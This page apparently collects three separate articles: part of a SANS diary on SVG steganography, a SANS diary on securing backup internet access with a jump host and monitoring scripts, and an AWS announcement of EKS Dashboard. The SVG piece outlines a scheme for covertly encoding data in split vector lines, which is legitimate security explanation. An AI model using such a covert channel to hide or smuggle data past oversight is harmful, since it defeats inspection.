Vector-based images, on the other hand, describe pictures as vectors. This allows for arbitrary scaling of the images and can lead to smaller image formats, in particular for simple but large format images. On the web, "SVG" is particularly popular. SVG is based on XML, and can easily be embedded in HTML. For regular images, the "data:" URL would have to be used, which is quite clumsy for more complex images. For example, the menu icons on the left are embedded as SVG images. The little "house" for the link to "Homepage" is represented by this SVG snippet:
<svg style="width:20px;height:20px" viewBox="0 0 24 24">
<path fill="currentColor" d="M10,20V14H14V20H19V12H22L12,3L2,12H5V20H10Z"></path>
</svg>
The "path" describes the image shape. Even more complex images can be expressed as SVG, and bitmaps can be converted into SVG. For example, the dog above as an SVG using the Adobe SVG converter:
You may notice that the image takes a moment to build, and it is 4 MB in size. But this, in turn, provides plenty of opportunity for steganography. Most SVG steganography tools I could find use pretty much the same method used for pixel-based images: They adjust the color of individual areas slightly [2][3]. For a complex SVG as the one shown above, this works pretty well.
But vector-based images offer another opportunity: You may add additional "vectors", without changing the look of the image. For example, a line can be split into two lines.
A value can be encoded in the ratio of x and y. One advantage of SVG is that coordinates are expressed as floats, not integers. The image format is independent of its actual size. So it would be easy to encode a byte as (x+y)/y*255 in each line. Or even increasing this to two bytes would be doable. Decoding the image would not require a special "key" like for most other steganography algorithms. Instead, the recipient just needs to know that all lines that continue each other are encoding data. For an observer, it would be noticeable if an image contains a lot of "continuing" lines. But the same is true for more steganography schemes: If an observer is aware of the steganography method, they will at least be able to detect that there is a message, and in some cases they will be able to extract it. To truly protect the message, it must first be encrypted before it is encoded into the image.
But even for SVG-encoded images, there is a change that later compression or optimization will remove the details encoded in the image, but it is less likely that a lossy compression is used on SVG.
Bevore implementing any of that… let me walk my dogs. Maybe there will be a follow-up diary later this week with a script.
[1] https://www.youtube.com/watch?v=QN4ecl9hQ80
[2] http://paper.ijcsns.org/07_book/201910/20191016.pdf
[3] https://github.com/japplebaum/svgsteg
—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Resilient Secure Backup Connectivity for SMB/Home Users, (Thu, May 22nd)
If you are reading this, you are probably someone who will not easily go without internet connectivity for an extended amount of time. You may also have various home systems that you would like to be able to reach in case of an outage of your primary internet connection. A typical setup would include a primary connection via cable/fiber and a secondary connection via cellular or sattelite.
In this post, I will skip over setting up the failover part, but instead, I will focus on securing remote access and monitoring the backup connection.
1 – "Jump Host" (aka "Bastion Host")
If you need reliable and secure connectivity TO your network, a "jump host" is required. This is typically a minimal virtual machine with a cloud provider. Any affordable backup connectivity usually uses "carrier-grade NAT." Your IP address will not only be dynamic. You will only receive a non-routable IP address. Even IPv6 will sadly not help in many cases. Some cellular providers will NAT IPv6 (no idea why, but I suspect to prevent inbound connectivity so it can be sold as a "business feature").
A "jump host" will provide a static IPv4/v6 address that is globally reachable. It also provides a perimeter to manage better and monitor inbound connectivity.
Pick the cloud provider you choose (AWS, Digitalocean…) and set up a minimum virtual machine. You want to reduce your attack surface as much as possible. I only expose SSH "to the world" and run it on an odd port.
To enhance monitoring of the jump host, I am adding a "login.sh" script to the /etc/profile.d directory to alert me via SMS whenever anybody logs in to the host. You may want to put some guardrails around this; for example, do not alert if the connection originates from a "known good" IP address. But logins should not be too familiar. But remember that it is essential to guard these types of "backdoors" into your network well.
Follow standard hardening guidelines for SSH!
Here is the login.sh script I dropped in /etc/profile.d:
#!/usr/bin/bach
[env variables removed]
details=$(who --ips | sed 's/ +/ /g')
/usr/bin/curl -sX POST -d "Body=Bastion Login: $details"
-d "From=$TWILIO_NUMBER"
-d "To=$TO_NUMBER"
"https://api.twilio.com/2010-04-01/Accounts/$TWILIO_ACCOUNT_SID/Messages"
-u "$TWILIO_ACCOUNT_SID:$TWILIO_AUTH_TOKEN" > ~/twilio.log
In this example,
I use SMS via Twilio for the alert to provide better reliability during an outage. However, you may use email or another simple messaging API like Telegram. Whatever works for you (and keeps working if your primary network connectivity is down)
2 -Internal Host
The internal host may be implemented using a stand-alone system like a Raspberry Pi or a virtual system. The gateway/router should be configured to route traffic from this system exclusively via the backup connection. This system covers two purposes: It does provide the outbound tunnel to our "Jump Host", and it monitors the backup connection. The backup connection will (hopefully) be used only sporadically. Without careful monitoring, the connection may go down and will be noticed during the failover.
To monitor the connection, I use the command line version of the "speedtest-cli" tool. This tool is based on speedtest.com. Once an hour, I perform a speed test and check the results. One nice advantage of the speedtest-cli tool is that it also reports your ISP. This way, you can monitor that traffic is routed via the correct connection. Hourly checks are sufficient in this case. Don't forget that the speed test will download some data that could be significant on a capped connection.
I noticed that T-Mobile does throttle ping traffic to hosts like 8.8.8.8. Be careful using simple pings like this for testing, as it may flood you with false positives. In particular, if you use the connectivity test for automatic failover, be careful how you use it to detect downtime. It is often better to use the ISP's advertised DNS server.
Here is the simple bash script I use to monitor the connection:
#!/bin/bash
result=$(speedtest-cli --no-upload --json | tee -a speedtest.log)
isp=$(echo $result | jq .client.isp | tr -d '"')
speed=$(echo $result | jq .download | cut -f1 -d'.')
latency=$(echo $result | jq .ping | cut -f1 -d'.')
error=''
if [ "$isp" != "Starlink" ]; then
error="wrong ISP"
fi
if [ "$speed" -lt 10000000 ]; then
error="$error low speed"
fi
if [ "$latency" -gt 100 ]; then
error="$error high latency"
fi
if [ "$error" != "" ]; then
mail jullrich@e... -s "Backup Connectivity Problem" <<EOF
$error
ISP $isp SPEED $speed LATENCY $latency
EOF
echo $error
echo "ISP $isp SPEED $speed LATENCY $latency"
fi
You may also implement a login alert on the internal endpoint, just like on the jump host. Remember that a connection from the jump host to the internal system will be invisible to most of your other network detection systems.
3 – Connectivity
Finally, you need to connect the internal host to the jump host. There are several different options. I use ssh, and the "autossh" script to automatically restart ssh if the connection should get disrupted. Various VPN solutions like OpenVPN, Wireguard or Tailscale will likely work well too. SSH has been working for me for about 30 years now, so not going to change 🙂
You will now have a "backdoor" into your network. As outlined above, make sure you secure that backdoor well. Many cloud providers will allow you to further limit access to the "jump host". These types of backup systems will also easily get forgotten. I like to use automatic updates as much as possible for these systems. Make sure logs from the "Jump Host" are forwarded to your main log aggregation solution.
Once everything is set up, there are two options:
- You are at home during an outage: Your outbound traffic should be routed via your backup connection. All should be good, and the jump host doesn't get involved
- You are away from home during an outage: Connect to your jump host, and from there via a forwarded port or VPN to your internal host. The internal host may not be used to do things like, for example, reboot equipment, or debug the underlying issue (or just retrieve a file you need).
The cost of it all is small. You may get away with a free cloud system. For extra credit: Automate starting up the jump host only while your main connection is down 🙂 . A backup internet connection via 5G or Sattelite (Starlink) will run you around $50/month (more for an unmetered Starlink connection). In the "good old days", we had dialup modems as out-of-band backups. It is still handy to have a console server for remote access (but connect to it via the tunnel described above) or maybe a small IP-KVM, as they have not become available. I would advise against exposing any kind of KVM or console server directly to the internet and only expose them via a VPN.
—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Centralize visibility of Kubernetes clusters across AWS Regions and accounts with EKS Dashboard
Today, we are announcing EKS Dashboard, a centralized display that enables cloud architects and cluster administrators to maintain organization-wide visibility across their Kubernetes clusters. With EKS Dashboard, customers can now monitor clusters deployed across different AWS Regions and accounts through a unified view, making it easier to track cluster inventory, assess compliance, and plan operational activities like version upgrades.
As organizations scale their Kubernetes deployments, they often run multiple clusters across different environments to enhance availability, ensure business continuity, or maintain data sovereignty. However, this distributed approach can make it challenging to maintain visibility and control, especially in decentralized setups spanning multiple Regions and accounts. Today, many customers resort to third-party tools for centralized cluster visibility, which adds complexity through identity and access setup, licensing costs, and maintenance overhead.
EKS Dashboard simplifies this experience by providing native dashboard capabilities within the AWS Console. The Dashboard provides insights into 3 different resources including clusters, managed node groups, and EKS add-ons, offering aggregated insights into cluster distribution by Region, account, version, support status, forecasted extended support EKS control plane costs, and cluster health metrics. Customers can drill down into specific data points with automatic filtering, enabling them to quickly identify and focus on clusters requiring attention.
Setting up EKS Dashboard
Customers can access the Dashboard in EKS console through AWS Organizations’ management and delegated administrator accounts. The setup process is straightforward and includes simply enabling trusted access as a one-time setup in the Amazon EKS console’s organizations settings page. Trusted access is available from the Dashboard settings page. Enabling trusted access will allow the management account to view the Dashboard. For more information on setup and configuration, see the official AWS Documentation.
A quick tour of EKS Dashboard
The dashboard provides both graphical, tabular, and map views of your Kubernetes clusters, with advanced filtering, and search capabilities. You can also export data for further analysis or custom reporting.

EKS Dashboard overview with key info about your clusters.

There is a wide variety of available widgets to help visualize your clusters.

You can visualize your managed node groups by instance type distribution, launch templates, AMI versions, and more

There is even a map view where you can see all of your clusters across the globe.
Beyond EKS clusters
EKS Dashboard isn’t limited to just Amazon EKS clusters; it can also provide visibility into connected Kubernetes clusters running on-premises or on other cloud providers. While connected clusters may have limited data fidelity compared to native Amazon EKS clusters, this capability enables truly unified visibility for organizations running hybrid or multi-cloud environments.
Available now
EKS Dashboard is available today in the US East (N. Virginia) Region and is able to aggregate data from all commercial AWS Regions. There is no additional charge for using the EKS Dashboard. To learn more, visit the Amazon EKS documentation.
This new capability demonstrates our continued commitment to simplifying Kubernetes operations for our customers, enabling them to focus on building and scaling their applications rather than managing infrastructure. We’re excited to see how customers use EKS Dashboard to enhance their Kubernetes operations.